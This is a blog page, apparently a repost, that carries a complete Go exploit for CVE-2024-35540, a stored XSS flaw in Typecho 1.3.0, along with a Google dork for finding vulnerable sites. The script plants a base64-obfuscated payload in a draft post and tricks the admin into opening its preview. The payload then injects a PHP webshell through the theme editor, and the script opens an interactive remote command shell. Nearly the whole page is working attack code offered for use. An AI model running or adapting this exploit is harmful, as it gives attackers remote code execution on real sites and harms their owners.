Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86396407

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Typecho 1.3.0 - Stored Cross-Site Scripting (XSS)
# Google Dork: intext:"Powered by Typecho" inurl:/index.php
# Date: 18/08/2024
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://typecho.org
# Software Link: https://github.com/typecho/typecho
# Version: 1.3.0
# Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
# CVE: CVE-2024-35540

# For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/

package main

import (
	"bufio"
	"bytes"
	"crypto/rand"
	"crypto/sha256"
	"encoding/base64"
	"fmt"
	"net/http"
	"net/url"
	"os"
	"strings"
	"time"
)

var (
	postTitle string       = "Reflected XSS PoC"
	postText  string       = "Hey admin! Look at the draft of this blog post, can I publish it?"
	userAgent string       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
	client    *http.Client = &http.Client{
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}
)

func getEditUrl(u string, cookies string) string {
	req, err := http.NewRequest("GET", u+"/admin/write-post.php", nil)
	if err != nil {
		fmt.Println("[X] Error creating initial request:", err)
		return ""
	}

	req.Header.Set("Cookie", cookies)
	req.Header.Set("User-Agent", userAgent)

	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("[X] Error sending initial request:", err)
		return ""
	}

	buf := new(bytes.Buffer)
	buf.ReadFrom(resp.Body)
	body := buf.String()

	if !strings.Contains(body, "<form action=\"") {
		fmt.Println("[X] Error finding post edit URL")
		return ""
	}

	editUrl := strings.Split(body, "<form action=\"")[1]
	editUrl = strings.Split(editUrl, "\"")[0]

	return editUrl
}

func generateRandomBytes() string {
	bytes := make([]byte, 64)
	rand.Read(bytes)
	return fmt.Sprintf("%x", sha256.Sum256(bytes))
}

func getJsCode(password string) string {
	phpPayload := `
		header("X-Random-Token: " . md5(uniqid()));
		if (isset($_POST["CSRFToken"]) && $_POST["CSRFToken"] === "%s") {
			if (isset($_POST["action"])) {
				system($_POST["action"]);
				exit;
			}
		}
	`
	phpPayload = fmt.Sprintf(phpPayload, password)
	jsPayload := `
		var i = document.createElement('iframe');
		i.src = location.protocol+'//'+location.host+'/admin/theme-editor.php';
		i.style.display = 'none';
		document.body.appendChild(i);

		setTimeout(() => {
			var textarea = i.contentWindow.document.getElementById('content');
			if (textarea.value.includes(payload))
				return;

			textarea.value = textarea.value.replace(/<\?php/, '<?php ' + payload);

			var form = i.contentWindow.document.getElementById('theme').submit();
		}, 200);
	`
	return fmt.Sprintf("var payload = `%s`;\n%s", phpPayload, jsPayload)
}

func generatePayload(jsCode string) string {
	remainder := len(jsCode) % 3
	if remainder != 0 {
		jsCode += strings.Repeat(" ", 3-remainder)
	}
	jsCodeEncoded := base64.StdEncoding.EncodeToString([]byte(jsCode))
	return fmt.Sprintf("[<img style=\"display:none\" src=x onerror=\"eval(atob('%s'))\">][1]\n[1]: https://google.com", jsCodeEncoded)
}

func createPost(u string, cookies string, payload string) string {
	formData := url.Values{}
	formData.Set("title", postTitle)
	formData.Set("text", payload+"\n"+postText)
	formData.Set("do", "save")
	formData.Set("markdown", "1")
	formData.Set("category%5B%5D", "1")
	formData.Set("allowComment", "1")
	formData.Set("allowPing", "1")
	formData.Set("allowFeed", "1")
	formData.Set("dst", "60")
	formData.Set("timezone", "7200")

	req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
	if err != nil {
		fmt.Println("[X] Error creating malicious post creation request:", err)
		return ""
	}

	req.Header.Set("Cookie", cookies)
	req.Header.Set("User-Agent", userAgent)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
	req.Header.Set("Referer", strings.Replace(strings.Split(u, ".php")[0], "index", "admin/write-post.php", 1))

	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("[X] Error sending malicious post creation request:", err)
		return ""
	}

	defer resp.Body.Close()
	return resp.Header.Get("Location")
}

func checkInjected(u string) bool {
	req, err := http.NewRequest("HEAD", u, nil)
	if err != nil {
		return false
	}

	req.Header.Set("User-Agent", userAgent)

	resp, err := client.Do(req)
	if err != nil {
		return false
	}

	return resp.Header.Get("X-Random-Token") != ""
}

func readInput() string {
	scanner := bufio.NewScanner(os.Stdin)
	if scanner.Scan() {
		return scanner.Text()
	}
	return ""
}

func interactiveShell(u string, password string) {
	for {
		fmt.Print("$ ")
		cmd := readInput()

		formData := url.Values{}
		formData.Set("CSRFToken", password)
		formData.Set("action", cmd)

		req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
		if err != nil {
			fmt.Println("[X] Error creating shell request:", err)
			continue
		}

		req.Header.Set("User-Agent", userAgent)
		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
		req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))

		resp, err := client.Do(req)
		if err != nil {
			fmt.Println("[X] Error sending shell request:", err)
			continue
		}

		buf := new(bytes.Buffer)
		buf.ReadFrom(resp.Body)
		body := buf.String()

		fmt.Println(body)
	}
}

func main() {
	if len(os.Args) != 3 {
		fmt.Println("Usage: go run CVE-2024-35540.go <URL> <COOKIE_HEADER_VALUE>")
		os.Exit(1)
	}

	fmt.Println("[+] Starting Typecho <= 1.3.0 Stored XSS exploit (CVE-2024-35540) by cyberaz0r")

	targetUrl := os.Args[1]
	cookies := os.Args[2]

	fmt.Println("[*] Getting post edit URL with CSRF token...")
	editUrl := getEditUrl(targetUrl, cookies)
	if editUrl == "" {
		fmt.Println("[-] Could not get post edit URL, exiting...")
		return
	}

	fmt.Println("[+] Edit URL:", editUrl)

	password := generateRandomBytes()
	fmt.Println("[+] Generated password to access the webshell: ", password)

	fmt.Println("[*] Generating JavaScript code to inject webshell...")
	jsCode := getJsCode(password)
	payload := generatePayload(jsCode)

	fmt.Println("[*] Creating malicious post...")
	postUrl := createPost(editUrl, cookies, payload)
	if postUrl == "" || postUrl == "/" {
		fmt.Println("[-] Could not create malicious post, exiting...")
		return
	}

	previewUrl := strings.Replace(postUrl, "write-post.php", "preview.php", 1)
	fmt.Println("[+] Malicious post created successfully!")
	fmt.Println("[i] Send this preview URL to the admin to trigger the XSS:\n" + previewUrl)

	fmt.Println("[*] Waiting for the admin to visit the preview URL...")
	for !checkInjected(targetUrl) {
		time.Sleep(1 * time.Second)
	}

	fmt.Println("[+] Webshell injected successfully!")
	fmt.Println("[+] Enjoy your shell ;)\n")
	interactiveShell(targetUrl, password)
}